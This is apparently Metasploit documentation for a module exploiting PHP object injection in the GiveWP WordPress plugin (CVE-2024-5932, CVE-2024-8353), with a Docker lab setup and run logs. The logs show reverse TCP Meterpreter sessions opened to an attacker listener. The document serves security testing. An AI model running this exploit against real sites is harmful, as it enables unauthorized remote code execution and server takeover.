## Vulnerable Application

This Metasploit module exploits an unauthenticated PHP Object Injection vulnerability in the
GiveWP plugin for WordPress (versions <= 3.14.1).
The vulnerability is present in the 'give_title' parameter, allowing attackers to inject a crafted
PHP object leading to remote code execution (RCE) when combined with a suitable POP chain.

## Setup

1. **Docker Compose Setup**: Create the following `docker-compose.yml` file to set up a vulnerable WordPress environment:

```yaml
services:
  db:
    image: mysql:8.0.27
    command: '--default-authentication-plugin=mysql_native_password'
    restart: always
    environment:
      - MYSQL_ROOT_PASSWORD=somewordpress
      - MYSQL_DATABASE=wordpress
      - MYSQL_USER=wordpress
      - MYSQL_PASSWORD=wordpress
    expose:
      - 3306
      - 33060

  wordpress:
    image: wordpress:6.3.2
    ports:
      - "80:80"
    restart: always
    environment:
      - WORDPRESS_DB_HOST=db
      - WORDPRESS_DB_USER=wordpress
      - WORDPRESS_DB_PASSWORD=wordpress
      - WORDPRESS_DB_NAME=wordpress
volumes:
  db_data:
```
1. Run Docker: `docker compose up`
2. Access the WordPress instance at `http://127.0.0.1` and complete the installation process.
3. **Download and Install Vulnerable GiveWP Plugin**:
- Download the plugin: [GiveWP 3.16.1](https://downloads.wordpress.org/plugin/give.3.16.1.zip)
- Unzip the plugin and copy it to the Docker container:
```bash
docker compose cp give wordpress:/var/www/html/wp-content/plugins
```
- Access the WordPress instance at `http://localhost` and activate the GiveWP plugin via the admin dashboard.

4. **Create a Donation Form**:
- Navigate to the "Forms" section within the GiveWP plugin and click on "Add Form."
- Select any form.
- Configure the form as needed, then publish it.

*Note: Depending on the vulnerability you want to test, using an older version like 3.14.1 may also be applicable.*


## Options

No specific options need to be configured.

## Verification Steps

1. Start `msfconsole`.
2. Use the module with `use exploit/multi/http/wp_givewp_rce`.
3. Set `RHOSTS`, `RPORT`, and the necessary WordPress-specific options.
4. Run the exploit.
5. Gain a Meterpreter session.

## Scenarios

### GiveWP Plugin version: 3.14.1 (Dockerized WordPress Version 6.5.3)

Using `cmd/linux/http/x64/meterpreter/reverse_tcp`:

```bash
msf exploit(multi/http/wp_givewp_rce) > run http://127.0.0.1:5555

[*] Started reverse TCP handler on 192.168.1.36:1337 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] WordPress Version: 6.5.3
[+] Detected GiveWP Plugin version: 3.14.1
[+] Vulnerable to both CVE-2024-5932 and CVE-2024-8353 (bypass).
[+] The target appears to be vulnerable.
[+] Successfully retrieved form list. Available Form IDs: 45
[*] Using Form ID: 45 for exploitation.
[*] Sending stage (3045380 bytes) to 172.18.0.3
[*] Meterpreter session 5 opened (192.168.1.36:1337 -> 172.18.0.3:45656) at 2024-10-02 19:51:31 +0200

meterpreter > sysinfo 
Computer     : 172.18.0.3
OS           : Debian 11.8 (Linux 5.15.0-122-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >
```

### GiveWP Plugin version: 3.16.1 (Dockerized WordPress Version 6.5.3)

```bash
msf exploit(multi/http/wp_givewp_rce) > run http://127.0.0.1:5555

[*] Started reverse TCP handler on 192.168.1.36:1337 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] WordPress Version: 6.5.3
[+] Detected GiveWP Plugin version: 3.16.1
[+] Vulnerable to CVE-2024-8353 (bypass).
[+] The target appears to be vulnerable.
[+] Successfully retrieved form list. Available Form IDs: 38
[*] Using Form ID: 38 for exploitation.
[*] Sending stage (3045380 bytes) to 172.18.0.3
[*] Meterpreter session 4 opened (192.168.1.36:1337 -> 172.18.0.3:49380) at 2024-10-02 19:49:39 +0200

meterpreter > sysinfo 
Computer     : 172.18.0.3
OS           : Debian 11.8 (Linux 5.15.0-122-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >
```
